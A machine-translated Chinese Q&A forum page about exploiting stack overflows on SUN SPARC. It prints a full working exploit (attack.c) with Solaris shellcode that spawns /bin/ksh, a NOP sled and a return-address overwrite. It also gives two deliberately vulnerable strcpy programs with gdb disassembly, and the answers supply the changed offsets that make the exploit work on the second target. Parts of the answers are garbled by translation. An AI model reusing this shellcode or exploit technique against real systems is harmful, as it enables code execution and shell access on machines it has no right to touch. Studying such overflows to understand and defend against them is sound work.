SUN Sparc上的堆栈溢出

问题描述

|
/* attack.c */
/* compile: cc -o attack attack.c */
#include <stdlib.h>
#include <stdio.h>

/* lsd - Solaris shellcode */
static char shell[] =        /* 10*4+8 bytes */
        \"\\x20\\xbf\\xff\\xff\"   /* bn,a  */
        \"\\x20\\xbf\\xff\\xff\"   /* bn,a  */
        \"\\x7f\\xff\\xff\\xff\"   /* call  */
        \"\\x90\\x03\\xe0\\x20\"   /* add %o7,32,%o0 */
        \"\\x92\\x02\\x20\\x10\"   /* add %o0,16,%o1 */
        \"\\xc0\\x22\\x20\\x08\"   /* st %g0,[%o0+8] */
        \"\\xd0\\x22\\x20\\x10\"   /* st %o0,[%o0+16] */
        \"\\xc0\\x22\\x20\\x14\"   /* st %g0,[%o0+20] */
        \"\\x82\\x10\\x20\\x0b\"   /* mov 0x0b,%g1 */
        \"\\x91\\xd0\\x20\\x08\"   /* ta 8 */
        \"/bin/ksh\" ;

#define BUFSIZE 464
#define DUFSIZE 456

/* SPARC nop */
static char np[] = \"\\xac\\x15\\xa1\\x6e\";

unsigned long get_sp( void ){ asm(\"or %sp,%sp,%i0\"); }

main( int argc,char *argv[] ) {

        char buf[ BUFSIZE+1 ],*ptr;
        unsigned long ret,sp;
        int rem,i,err;
        ret = sp = get_sp();

        /* align return address */
        if( ( rem = ret % 8 ) ){ ret &= ~(rem); }

        bzero( buf,BUFSIZE );
        for(i = 0; i < BUFSIZE; i += 4)
          strcpy( &buf[i],np );

        memcpy( (buf + BUFSIZE - strlen( shell ) - 8),shell,strlen( shell ));

        ptr = &buf[DUFSIZE];

        /* set fp to a save stack value */
        *( ptr++ ) = ( sp >> 24 ) & 0xff;
        *( ptr++ ) = ( sp >> 16 ) & 0xff;
        *( ptr++ ) = ( sp >> 8 ) & 0xff;
        *( ptr++ ) = ( sp ) & 0xff;

        /* overwrite saved PC */
        *( ptr++ ) = ( ret >> 24 ) & 0xff;
        *( ptr++ ) = ( ret >> 16 ) & 0xff;
        *( ptr++ ) = ( ret >> 8 ) & 0xff;
        *( ptr++ ) = ( ret ) & 0xff;

        buf[ BUFSIZE ] = 0;

        //err = execl( \"./server1\",\"server1\",buf,( void *)0 );
        err = execl( \"./server2\",\"server2\",( void *)0 );
        if( err == -1 ) perror(\"execl\");
}
编译并运行Attack.c,我可以利用server1.c中的漏洞
/* server1.c */
/* compile: cc -o server1 server1.c */
void copy(const char *a){
    char foo[400];
    int i,j,k;
    strcpy(foo,a);
    i = 1;
}

void main(int argc,char *argv[]){

    if(argc >=2 )copy( argv[1] );
}
但是Attack.c对server2却不起作用。知道为什么吗?
/* server2.c */
/* compile: cc -o server2 server2.c */
void copy2( const char *a ){
    char buf[200];
    int i,k;
    strcpy(buf,a);
    i = 1;
}

void copy1(const char *a){
    char foo[200];
    int i,k;
    copy2(a);
    i = 1;
}

void main( int argc,char *argv[] ) {

    if (argc >=2 )copy1( argv[1] );
}
这是server2.c的程序集:
(gdb) disas copy2
Dump of assembler code for function copy2:
0x00010bd8 <copy2+0>:   save  %sp,-304,%sp
0x00010bdc <copy2+4>:   add  %fp,-200,%o0
0x00010be0 <copy2+8>:   call  0x20ce8 <strcpy@plt>
0x00010be4 <copy2+12>:  mov  %i0,%o1
0x00010be8 <copy2+16>:  mov  1,%l0
0x00010bec <copy2+20>:  st  %l0,[ %fp + -204 ]
0x00010bf0 <copy2+24>:  ret 
0x00010bf4 <copy2+28>:  restore 
0x00010bf8 <copy2+32>:  ret 
0x00010bfc <copy2+36>:  restore 
0x00010c00 <copy2+40>:  illtrap  0x10000
0x00010c04 <copy2+44>:  illtrap  0x10000
0x00010c08 <copy2+48>:  illtrap  0x10000
0x00010c0c <copy2+52>:  illtrap  0x10000
End of assembler dump.
(gdb) disas copy1
Dump of assembler code for function copy1:
0x00010c10 <copy1+0>:   save  %sp,%sp
0x00010c14 <copy1+4>:   call  0x10bd8 <copy2>
0x00010c18 <copy1+8>:   mov  %i0,%o0
0x00010c1c <copy1+12>:  mov  1,%l0
0x00010c20 <copy1+16>:  st  %l0,[ %fp + -204 ]
0x00010c24 <copy1+20>:  ret 
0x00010c28 <copy1+24>:  restore 
0x00010c2c <copy1+28>:  ret 
0x00010c30 <copy1+32>:  restore 
0x00010c34 <copy1+36>:  illtrap  0x10000
0x00010c38 <copy1+40>:  illtrap  0x10000
0x00010c3c <copy1+44>:  illtrap  0x10000
0x00010c40 <copy1+48>:  illtrap  0x10000
0x00010c44 <copy1+52>:  illtrap  0x10000
End of assembler dump.
(gdb) disas main 
Dump of assembler code for function main:
0x00010c48 <main+0>:    save  %sp,-96,%sp
0x00010c4c <main+4>:    cmp  %i0,2
0x00010c50 <main+8>:    bl  0x10c68 <main+32>
0x00010c54 <main+12>:   nop 
0x00010c58 <main+16>:   call  0x10c10 <copy1>
0x00010c5c <main+20>:   ld  [ %i1 + 4 ],%o0
0x00010c60 <main+24>:   ret 
0x00010c64 <main+28>:   restore 
0x00010c68 <main+32>:   ret 
0x00010c6c <main+36>:   restore 
End of assembler dump.
对于server1.c:
(gdb) disas copy
Dump of assembler code for function copy:
0x00010bc0 <copy+0>:    save  %sp,-504,%sp
0x00010bc4 <copy+4>:    add  %fp,-400,%o0
0x00010bc8 <copy+8>:    call  0x20c98 <strcpy@plt>
0x00010bcc <copy+12>:   mov  %i0,%o1
0x00010bd0 <copy+16>:   mov  1,%l0
0x00010bd4 <copy+20>:   st  %l0,[ %fp + -404 ]
0x00010bd8 <copy+24>:   ret 
0x00010bdc <copy+28>:   restore 
0x00010be0 <copy+32>:   ret 
0x00010be4 <copy+36>:   restore 
0x00010be8 <copy+40>:   illtrap  0x10000
0x00010bec <copy+44>:   illtrap  0x10000
0x00010bf0 <copy+48>:   illtrap  0x10000
0x00010bf4 <copy+52>:   illtrap  0x10000
End of assembler dump.
(gdb) disas main
Dump of assembler code for function main:
0x00010bf8 <main+0>:    save  %sp,%sp
0x00010bfc <main+4>:    cmp  %i0,2
0x00010c00 <main+8>:    bl  0x10c18 <main+32>
0x00010c04 <main+12>:   nop 
0x00010c08 <main+16>:   call  0x10bc0 <copy>
0x00010c0c <main+20>:   ld  [ %i1 + 4 ],%o0
0x00010c10 <main+24>:   ret 
0x00010c14 <main+28>:   restore 
0x00010c18 <main+32>:   ret 
0x00010c1c <main+36>:   restore 


End of assembler dump.
我需要在Attack.c中进行什么修改才能使其利用server2.c?     

解决方法

pfff ...终于。
#define BUFSIZE 464
#define DUFSIZE 256
我以为偏移是8,但是是200 + 8。     ,也许编译器没有为ѭ7中的ѭ6分配空间,因为它没有被使用。唯一可以确定的方法是查看可执行文件生成的汇编代码。     ,根据我的理解,由于
copy2()
是被调用方,
copy1()
是调用方,而
copy1
的堆栈帧在
copy2
以下,我们发现分配给foo和buff的字节总和给出了缓冲区的大小。然后,我们通过向buff大小添加一个值来获得偏移值。该值是通过计算被调用方中被调用缓冲区溢出指令的点与被调用方刚被调用之后的调用方返回地址之间的地址差而获得的,因为这是我们引入Shell代码的地方。 增益大小+ 32 + 32-8     

相关问答

Selenium Web驱动程序和Java。元素在(x,y)点处不可单击。其...
Python-如何使用点“。” 访问字典成员?
Java 字符串是不可变的。到底是什么意思?
Java中的“ final”关键字如何工作?(我仍然可以修改对象。...
“loop:”在Java代码中。这是什么,为什么要编译?
java.lang.ClassNotFoundException:sun.jdbc.odbc.JdbcOdbc...